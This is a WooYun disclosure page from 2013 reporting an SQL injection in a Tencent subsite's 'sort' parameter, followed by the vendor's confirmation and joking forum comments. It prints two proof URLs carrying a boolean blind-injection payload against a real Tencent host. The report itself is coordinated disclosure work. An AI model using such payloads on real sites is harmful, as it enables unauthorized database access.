当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-024853

漏洞标题：腾讯某分站的一个SQL注射

相关厂商：腾讯

漏洞作者： Jannock

提交时间：2013-05-31 11:14

修复时间：2013-07-15 11:15

公开时间：2013-07-15 11:15

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-31： 细节已通知厂商并且等待厂商处理中
2013-05-31： 厂商已经确认，细节仅向厂商公开
2013-06-10： 细节向核心白帽子及相关领域专家公开
2013-06-20： 细节向普通白帽子公开
2013-06-30： 细节向实习白帽子公开
2013-07-15： 细节向公众公开

简要描述：

腾讯某分站SQL注射

详细说明：

http://apps.2012.qq.com/guess/list-tid--stat-4?sort=desc,if%28%281=1%29,1,%28select/**/1/**/from/**/INFORMATION_SCHEMA.TABLES%29%29%20asc
http://apps.2012.qq.com/guess/list-tid--stat-4?sort=desc,if%28%281=2%29,1,%28select/**/1/**/from/**/INFORMATION_SCHEMA.TABLES%29%29%20asc
不知怎的。。类似的提了很多次了。。
好像都是修不好。。。

漏洞证明：

1.jpg


2.jpg

修复方案：

这个不说了。。

版权声明：转载请注明来源 Jannock@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2013-05-31 11:31

厂商回复：

非常感谢您的报告。这个问题我们已经确认，正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-05-31 11:18 | Hxai11 ( 普通白帽子 | Rank:1137 漏洞数:209 | 于是我们奋力向前游，逆流而上的小舟，不停...)

    一楼卖萌

  2. 2013-05-31 11:19 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:41 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    二楼卖萌

  3. 2013-05-31 11:56 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    三楼卖萌

  4. 2013-05-31 11:59 | 点点 ( 普通白帽子 | Rank:214 漏洞数:38 | 准备申请سمَـَّوُوُحخ ̷̴̐...)

    四楼卖萌

  5. 2013-05-31 12:10 | jdnehc ( 实习白帽子 | Rank:76 漏洞数:12 )

    五楼卖萌

  6. 2013-05-31 13:19 | Demon ( 普通白帽子 | Rank:121 漏洞数:14 | You are my dream)

    七楼准备卖萌

  7. 2013-05-31 15:26 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘，缘分写在数据库里面。)

    七楼卖萌

  8. 2013-05-31 17:45 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了！>_<'/&\)

    窝。。。窝是八楼。。。窝不会卖萌

  9. 2013-05-31 21:33 | 纠结师 ( 实习白帽子 | Rank:53 漏洞数:12 | 传说中的废材)

    九楼准备卖淫

  10. 2013-06-01 20:32 | Aepl│恋爱 ( 实习白帽子 | Rank:45 漏洞数:15 | Forzen恋爱-不要做你的Guest 只想做的你adm...)

    果断去卖身了！

  11. 2013-07-01 14:04 | Hero ( 普通白帽子 | Rank:116 漏洞数:30 | 药药切克闹,充气娃娃迷幻药)

    11楼卖萌继续

  12. 2013-07-15 11:32 | iproute ( 路人 | Rank:4 漏洞数:1 | 为路由器生，为交换机死，为Ping通奋斗一辈...)

    12楼卖完，13楼卖！

  13. 2013-07-15 12:00 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:283 | 国内信息安全任重而道远，还需要厂商和白帽...)

    13楼搞基去了 不会卖萌

  14. 2013-07-15 12:11 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    腾讯的desc这个排序参数出现注入很多啊

  15. 2013-07-15 12:44 | Meek ( 路人 | Rank:12 漏洞数:3 | 关注寡妇动态20年 ~)

    15楼搞基去了

  16. 2013-07-15 13:51 | J′aron ( 路人 | Rank:17 漏洞数:5 | 问题真实存在但是影响不大.)

    16楼继续卖萌..

  17. 2013-07-23 19:39 | Love.china.coco ( 路人 | Rank:4 漏洞数:2 | 菜鸟级别，努力提升，爱国！！为祖国打好信...)

    17楼搞基

  18. 2014-05-27 17:11 | 灭亡 ( 路人 | Rank:8 漏洞数:5 | 乌云打杂 偶尔发几个垃圾洞刷存在 qq83133...)

    18楼默默路过

  19. 2014-09-02 19:31 | Mayter ( 实习白帽子 | Rank:36 漏洞数:10 | 没事瞎搞。)

    18楼继续卖萌路过